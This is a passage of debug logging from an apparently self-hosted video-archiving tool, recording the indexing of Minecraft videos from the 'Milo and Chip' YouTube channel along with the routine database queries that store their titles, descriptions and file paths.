=> "I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1856, "filename" => "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", "id" => "Kcn_4kdmM_0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Kcn_4kdmM_0", "playlist_index" => 10, "timestamp" => 1778886020, "title" => "Minecraft, But If I Take Damage I Switch Lives", "upload_date" => "20260515"} 19:41:40.772 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=72.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:40.773 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=73.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:40.776 [debug] QUERY OK source="media_items" db=2.7ms idle=74.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-15 23:00:20Z], 30] 19:41:40.780 [debug] QUERY OK source="media_items" db=2.0ms idle=78.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But If I Take Damage I Switch Lives", "fb3ebc69-a5b8-428e-ae32-ec2cb0701cd5", "Kcn_4kdmM_0", false, "https://www.youtube.com/watch?v=Kcn_4kdmM_0", 30, [], 1856, false, 10, "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", false, false, 98, ~U[2026-05-15 23:00:20Z], ~U[2026-06-03 23:41:40Z], ~U[2026-06-03 23:41:40Z], "I STOLE My Friend’s Life Every Time I Got Hurt! 💔 🔄 Can I survive the ender dragon if my health keeps swapping with a noob?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Minecraft, But If I Take Damage I Switch Lives", "Kcn_4kdmM_0", "https://www.youtube.com/watch?v=Kcn_4kdmM_0", 30, 1856, false, "/downloads/rory/Milo and Chip/2026-05-15 Minecraft, But If I Take Damage I Switch Lives/Minecraft, But If I Take Damage I Switch Lives [Kcn_4kdmM_0].mp4", false, ~U[2026-05-15 23:00:20Z]] 19:41:40.781 [debug] QUERY OK source="sources" db=0.4ms idle=78.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:40.781 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=8.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:40.782 [debug] QUERY OK source="media_items" db=0.2ms idle=8.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [137161] 19:41:40.782 [debug] Current batch of media processed. Will check again in 1000ms 19:41:41.783 [debug] Current batch of media processed. Will check again in 1000ms 19:41:42.784 [debug] Current batch of media processed. Will check again in 1000ms 19:41:43.785 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1573, "filename" => "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", "id" => "Oi7QKYHRi7U", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Oi7QKYHRi7U", "playlist_index" => 11, "timestamp" => 1778713220, "title" => "Save MOM or DAD in Minecraft?", "upload_date" => "20260513"} 19:41:43.786 [debug] QUERY OK source="sources" db=0.4ms idle=1086.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:43.787 [debug] QUERY OK source="sources" db=0.4ms idle=1087.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:43.790 [debug] QUERY OK source="media_items" db=2.9ms queue=0.1ms idle=1088.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 23:00:20Z], 30] 19:41:43.794 [debug] QUERY OK source="media_items" db=2.6ms idle=1087.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Save MOM or DAD in Minecraft?", "4995b66f-51df-44e0-8ba7-5ef2cb316534", "Oi7QKYHRi7U", false, "https://www.youtube.com/watch?v=Oi7QKYHRi7U", 30, [], 1573, false, 11, "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", false, false, 98, ~U[2026-05-13 23:00:20Z], ~U[2026-06-03 23:41:43Z], ~U[2026-06-03 23:41:43Z], "The IMPOSSIBLE Choice: Who Will We Save?! 😭 🆘 We only have enough time to rescue one parent from the secret trap—will it be Mom or Dad?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Save MOM or DAD in Minecraft?", "Oi7QKYHRi7U", "https://www.youtube.com/watch?v=Oi7QKYHRi7U", 30, 1573, false, "/downloads/rory/Milo and Chip/2026-05-13 Save MOM or DAD in Minecraft?/Save MOM or DAD in Minecraft? [Oi7QKYHRi7U].mp4", false, ~U[2026-05-13 23:00:20Z]] 19:41:43.795 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=90.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:43.797 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=9.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:43.798 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=10.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [136621] 19:41:43.799 [debug] Current batch of media processed. Will check again in 1000ms 19:41:44.799 [debug] Current batch of media processed. Will check again in 1000ms 19:41:45.800 [debug] Current batch of media processed. Will check again in 1000ms 19:41:46.802 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1989, "filename" => "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", "id" => "i3Vc0zkPdTg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=i3Vc0zkPdTg", "playlist_index" => 12, "timestamp" => 1778540446, "title" => "How to Build a BLUEY House in Minecraft", "upload_date" => "20260511"} 19:41:46.803 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1103.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:46.804 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1104.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:46.808 [debug] QUERY OK source="media_items" db=3.5ms queue=0.2ms idle=1105.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-11 23:00:46Z], 30] 19:41:46.812 [debug] QUERY OK source="media_items" db=2.4ms idle=1102.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a BLUEY House in Minecraft", "a1a9e5d6-6331-4833-8d15-cd5eece31f82", "i3Vc0zkPdTg", false, "https://www.youtube.com/watch?v=i3Vc0zkPdTg", 30, [], 1989, false, 12, "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", false, false, 98, ~U[2026-05-11 23:00:46Z], ~U[2026-06-03 23:41:46Z], ~U[2026-06-03 23:41:46Z], "Building the ULTIMATE Bluey Family Home! 🐶 🏠 Can we recreate the iconic Heeler house with all the secret rooms and colorful details?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "How to Build a BLUEY House in Minecraft", "i3Vc0zkPdTg", "https://www.youtube.com/watch?v=i3Vc0zkPdTg", 30, 1989, false, "/downloads/rory/Milo and Chip/2026-05-11 How to Build a BLUEY House in Minecraft/How to Build a BLUEY House in Minecraft [i3Vc0zkPdTg].mp4", false, ~U[2026-05-11 23:00:46Z]] 19:41:46.813 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=104.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:46.815 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=10.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 19:41:46.816 [debug] QUERY OK source="media_items" db=0.7ms idle=11.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [136083] 19:41:46.816 [debug] Current batch of media processed. Will check again in 1000ms 19:41:47.817 [debug] Current batch of media processed. Will check again in 1000ms 19:41:48.818 [debug] Current batch of media processed. Will check again in 1000ms 19:41:49.819 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "duration" => 1695, "filename" => "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", "id" => "loEX2S2LGQI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=loEX2S2LGQI", "playlist_index" => 13, "timestamp" => 1778367657, "title" => "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "upload_date" => "20260509"} 19:41:49.820 [debug] QUERY OK source="sources" db=0.2ms queue=0.1ms idle=1120.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [30] 19:41:49.820 [debug] QUERY OK source="sources" db=0.1ms idle=1120.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [30] 19:41:49.821 [debug] QUERY OK source="media_items" db=1.0ms idle=1121.2ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-09 23:00:57Z], 30] 19:41:49.823 [debug] QUERY OK source="media_items" db=0.8ms idle=1111.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "2a9cedee-30ea-46dd-8ea7-4019ae254c2d", "loEX2S2LGQI", false, "https://www.youtube.com/watch?v=loEX2S2LGQI", 30, [], 1695, false, 13, "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", false, false, 98, ~U[2026-05-09 23:00:57Z], ~U[2026-06-03 23:41:49Z], ~U[2026-06-03 23:41:49Z], "I Caught My Friend LYING on a Lie Detector! 🛑 🤥 Can we uncover the truth about his hidden vault, or will his secrets stay buried forever?\n\n✅ HOW TO PLAY MINECRAFT WITH CHIP AND MILO\n1. Open Minecraft\n2. Click \"Play\"\n3. Click the \"Servers\" tab\n4. Click \"Add Server\" \n5. Type in the IP: play.eyserver.com\n6. Type in the Port: 19132\n7. Click \"Join\"\nYou can join this server on Bedrock Edition (Phones, Consoles and Tablets) and Java Edition (PC and Mac)\n\n#minecraft #minecraftbuild #miloandchip", "Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft", "loEX2S2LGQI", "https://www.youtube.com/watch?v=loEX2S2LGQI", 30, 1695, false, "/downloads/rory/Milo and Chip/2026-05-09 Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft/Using a LIE DETECTOR to Find My Friend’s SECRETS in Minecraft [loEX2S2LGQI].mp4", false, ~U[2026-05-09 23:00:57Z]] 19:41:49.823 [debug] QUERY OK source="sources" db=0.2ms idle=111.2ms SELECT 